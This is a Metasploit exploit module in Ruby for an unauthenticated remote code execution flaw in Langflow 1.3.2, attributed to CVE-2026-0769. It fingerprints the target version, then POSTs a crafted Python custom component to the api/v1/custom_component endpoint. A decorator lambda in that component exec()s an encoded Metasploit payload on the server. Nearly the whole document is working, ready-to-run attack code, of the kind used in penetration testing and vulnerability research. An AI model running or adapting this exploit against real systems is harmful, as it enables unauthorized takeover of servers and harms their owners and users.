Langflow AI Custom Component Eval Injection Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI Custom Component Eval Injection Unauth RCE',
        'Description' => %q{
          Langflow version 1.3.2 is susceptible to
          unauthenticated remote code execution due to improper
          input validation in the eval_custom_component_code() function.

          Arbitrary code executes under the context of the backend
          Langflow process.
        },
        'Author' => [
          'Richard Howe <rhowe425>', # Msf Module
          'Peter Girnus' # Vulnerability Discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-0769']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 7860 },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-01-22',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        )
      ]
    )
  end

  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'api/v1/version')
      }
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document
    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'

    version = Rex::Version.new(version_str.to_s)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    # Vulnerable version of Langflow
    return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version == Rex::Version.new('1.3.2')

    # Patched version of Langflow
    Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
  end

  def exploit
    vars = Rex::RandomIdentifier::Generator.new(language: :python)

    class_name = vars[:class_name]
    payload_method = vars[:payload_method]
    input_display_name = vars[:input_display_name]
    output_display_name = vars[:output_display_name]
    class_display_name = vars[:class_display_name]

    injected_code = [
      'from langflow.custom import Component',
      'from langflow.io import Output, MessageTextInput',
      'from langflow.schema import Data',
      '_fired = [False]',
      "class #{class_name}(Component):",
      "    display_name = '#{class_display_name}'",
      "    name = '#{class_name}'",
      '    inputs = [',
      '        MessageTextInput(',
      "            display_name='#{input_display_name}',",
      '            name="input_value",',
      '        )',
      '    ]',
      '    outputs = [',
      '        Output(',
      "            display_name='#{output_display_name}',",
      '            name="out",',
      "            method='#{payload_method}',",
      '        )',
      '    ]',
      "    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
      "    def #{payload_method}(self) -> Data:",
      '        return Data(data={"output": _out})'
    ].join("\n")

    json_body = {
      'code' => injected_code,
      'frontend_node' => {}
    }

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/v1/custom_component'),
        'headers' => {
          'Content-Type' => 'application/json'
        },
        'data' => json_body.to_json
      }
    )

    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
  end
end